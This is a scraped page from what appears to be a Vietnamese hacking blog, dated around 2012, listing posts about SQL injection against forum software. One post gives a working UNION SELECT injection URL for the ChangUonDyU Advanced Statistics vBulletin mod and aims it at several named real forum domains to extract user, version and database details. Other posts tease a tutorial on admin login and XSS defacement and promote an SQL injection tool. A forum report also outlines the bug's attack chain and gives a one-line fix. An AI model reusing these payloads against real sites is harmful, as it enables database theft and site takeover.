style="color: red;">n khích m</span><span style="color: red;"><span style="font-family: Arial;">ọ</span></span><span style="color: red;">i ng</span><span style="color: red;"><span style="font-family: Arial;">ườ</span></span><span style="color: red;">i nên t</span><span style="color: red;"><span style="font-family: Arial;">ự</span></span><span style="color: red;"> cài đ</span><span style="color: red;"><span style="font-family: Arial;">ặ</span></span><span style="color: red;">t h</span><span style="color: red;"><span style="font-family: Arial;">ệ</span></span><span style="color: red;"> th</span><span style="color: red;"><span style="font-family: Arial;">ố</span></span><span style="color: red;">ng trên máy c</span><span style="color: red;"><span style="font-family: Arial;">ủ</span></span><span style="color: red;">a mình và th</span><span style="color: red;"><span style="font-family: Arial;">ử</span></span><span style="color: red;"> nghi</span><span style="color: red;"><span style="font-family: Arial;">ệ</span></span><span style="color: red;">m, không nên t</span><span style="color: red;"><span style="font-family: Arial;">ấ</span></span><span style="color: red;">n công phá ho</span><span style="color: red;"><span style="font-family: Arial;">ạ</span></span><span style="color: red;">i các site trên th</span><span style="color: red;"><span style="font-family: Arial;">ự</span></span><span style="color: red;">c t</span><span style="color: red;"><span style="font-family: Arial;">ế</span></span><span style="color: red;"> - c0mm3nt 2009</span><br><a href="http://junookyo.blogspot.com/2012/10/ky-thuat-tan-cong-su-dung.html#more">ĐỌC TIẾP »</a>

Kỹ thuật tấn công sử dụng dumpfile/outfile trong SQL Injection

Kỹ thuật tấn công sử dụng dumpfile/outfile trong SQL Injection

Trong bài vi ế t này tôi s ẽ đ ề c ậ p đ ế n câu l ệ nh "into outfile" , 1 câu l ệ nh m ặ c đ ị nh c ủ a MySQl nh ư ng l ạ i r ấ...

[TUT] SQLi - Login AdminCP - Deface with XSS

[TUT] SQLi - Login AdminCP - Deface with XSS

[TUT] SQLi - Login AdminCP - Deface with XSS

* Tutorial khai thác "ChangUonDyU - Advanced Statistics SQL injection", truy vấn lấy hash để bypass AdminCP, Deface sử dụng XSS. *...

ChangUonDyU - Advanced Statistics SQL injection Vulnerability

<pre>    #####################################################################################################<br />    ->Vulnerability<br />    #####################################################################################################<br /><br />    ->http://target.com/forum/ajax.php?do=inforum&listforumid=52) UNION SELECT 1,2,3,4,5,6,concat_ws(0x7c,user(),version(),database()),8,9,10,11 from user where userid=1-- -&result=20<br /><br />    #####################################################################################################<br /><br />    ->eg: http://diendanhaiduong.com/forum/ajax.php?do=inforum&listforumid=52) UNION SELECT 1,2,3,4,5,6,concat_ws(0x7c,user(),version(),database()),8,9,10,11 from user where userid=1-- -&result=20<br />    http://sinhvientayan.com/forum/ajax.php?do=inforum&listforumid=52) UNION SELECT 1,2,3,4,5,6,concat_ws(0x7c,<br /><br />    user(),version(),database()),8,9,10,11 from user where userid=1-- -&result=20<br /><br />    http://vietsource.net/forum/ajax.php?do=inforum&listforumid=52) UNION SELECT 1,2,3,4,5,6,concat_ws(0x7c,user(),version(),database()),8,9,10,11 from user where userid=1-- -&result=20<br /><br />    http://tuoitredonganh.vn/diendan/ajax.php?do=inforum&listforumid=52) UNION SELECT 1,2,3,4,5,6,concat_ws(0x7c,user(),version(),database()),8,9,10,11 from user where userid=1-- -&result=20<br /><br />    #####################################################################################################<br />    [+] If vbb version 4.1.2,3,4,5 you can install addons Advanced Cookie Manager to fake login.<br />    [+] Md5 Hash Generator -> http://www.miraclesalad.com/webtools/md5.php<br />    [+] Thanks to Juno_okyo &  all VNH Group members.<br /><br />    ########################################################################################## <br /><br /><br /></pre>

ChangUonDyU - Advanced Statistics SQL injection Vulnerability

ChangUonDyU - Advanced Statistics SQL injection Vulnerability

##################################################################################################### ->Vulnerability #######...

[Report] ChangUonDyU Advanced Statistics - SQL injection

<span style="color: lime;"><span style="font-size: small;">Mấy ngày nay DaiCa.Net đã bị kẻ lạ login vào account admin.<br />Tuy nhiên kẻ lạ mặt chưa làm gì được<br /><br />Sau khi được juno_okyo Report là có bug tại mod Changuondyu Static.<br />Mình đã kiểm tra lại các input, tất cả các input chỉ có 1 input được đưa vào truy vấn, đó là <br /></span></span><span style="color: yellow;"><span style="font-size: small;">$_REQUEST['listforumid']</span></span><span style="color: lime;"><span style="font-size: small;"><br /><br />Và  quả thật là có bug SQLi. Đây là 1 lỗi cực kỳ nghiêm trọng và sai xót     của coder (Còn nghiêm trọng hơn Bug Search VBB vì rất nhiều người   đang   sử dụng mod này).<br /><br />Từ Bug này, chúng ta có thể lấy được dữ liệu từ database => Login vào    admin => Login vào admincp => Up shell => blah blah<br /><br />Ở đây DuyK sẽ không nói đến cách khai thác để đề phòng "Hacker chẻ châu"    quậy phá mọi người (Hacker thực sự sẽ hiểu vấn đề ngay nên khỏi cần    phải nói)<br /><br /><u><b><i> Vì rất nhiều người đang sử dụng mod này và chưa fix nên DuyK hi vọng mọi người sẽ lan truyền report này.</i></b></u><br /><br />Để  fix mod này. Các bạn vào: Admincp -> Plugin & product option     -> Plugin manage -> ChangUonDyU - Advanced Statistics - Get  Data    -> EDIT<br /><br />Bạn tìm đến dòng: <br /></span></span><span style="color: yellow;"><span style="font-size: small;"><b>$foruminid = $vbulletin->db->escape_string($_REQUEST['listforumid']);</b></span></span><span style="color: lime;"><span style="font-size: small;"><br /><br />Thay bằng: <br /></span></span><span style="color: yellow;"><span style="font-size: small;"><b>$foruminid = intval($_REQUEST['listforumid']);</b></span></span><span style="color: lime;"><span style="font-size: small;"><br /><br />Report từ: DaiCa.Net - Forum newbie học hỏi<br /><br />P/S by Juno_okyo:<br /></span></span><br /><div class="bbcode_container"><span style="color: lime;"><span style="font-size: small;"> <div class="bbcode_quote">  <div class="quote_container">                   </div></div></span></span></div><div class="bbcode_container"><span style="color: lime;"> <div class="bbcode_quote">  <div class="quote_container">            <span style="font-size: medium;">Rất nhiều Diễn đàn đang sử dụng mod Statstics này nên mọi người nhanh chóng fix nhé.<br />Bug này được phát hiện từ mod tương tự của bác Chang cho MyBB, kiểm tra thì thấy mod bên vBB cũng dính.</span><span style="font-size: small;"><br /></span>      </div></div></span></div>

[Report] ChangUonDyU Advanced Statistics - SQL injection

[Report] ChangUonDyU Advanced Statistics - SQL injection

Mấy ngày nay DaiCa.Net đã bị kẻ lạ login vào account admin. Tuy nhiên kẻ lạ mặt chưa làm gì được Sau khi được juno_okyo Report là có bug tại...

jSQL Injection v 2.0 released

<div dir="ltr" style="text-align: left;"><div class="separator" style="clear: both; text-align: justify;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7abnB02G4VfaPVob0QFRZg4IH8L2MOG_IexzqNDzmMGRMVtulH0uZh8s47-gp32L1sYZc9JXrvCJgw2mWi3XauNIK4nJzv22x-G4bHTSRwaJ8moOeDSqo3z_KHbSOY__fnbrRS7uisk97/s1600/jSQL+Injection.png" style="margin-left: 1em; margin-right: 1em;"><img alt="jSQL+Injection" border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7abnB02G4VfaPVob0QFRZg4IH8L2MOG_IexzqNDzmMGRMVtulH0uZh8s47-gp32L1sYZc9JXrvCJgw2mWi3XauNIK4nJzv22x-G4bHTSRwaJ8moOeDSqo3z_KHbSOY__fnbrRS7uisk97/s400/jSQL+Injection.png" title="jSQL+Injection" width="400" /></a></div><div style="text-align: justify;"><b>jSQL Injection</b> An easy to use SQL injection tool for retrieving database informations from a distant server. </div><div style="text-align: justify;"><b><br /></b></div><div style="text-align: justify;"><b>jSQL Injection fonctionalities are:</b></div><div style="text-align: justify;"></div><ul><li>GET, POST, header, cookie methods</li><li>visual, errorbase, blind algorithms</li><li>automatic best algorithms detection</li><li>data retrieving progression</li><li>proxy setting</li><li>For now supports only MySQL.</li></ul><div style="text-align: justify;">Running injection requires only the distant server url and the name of parameter you should inject.<br /><span style="font-size: medium;"><b><a href="http://code.google.com/p/jsql-injection/downloads/detail?name=jsql-injection-v0.2.jar&can=2&q="><br /></a></b></span><span style="font-size: medium;"><b><a href="http://code.google.com/p/jsql-injection/downloads/detail?name=jsql-injection-v0.2.jar&can=2&q=" rel="nofollow" target="_blank">Download jSQL Injection v 2.0</a></b></span></div></div>

jSQL Injection v 2.0 released

jSQL Injection v 2.0 released

jSQL Injection An easy to use SQL injection tool for retrieving database informations from a distant server. jSQL Injection fonctionalitie...

Subscribe to: Posts (Atom)

Top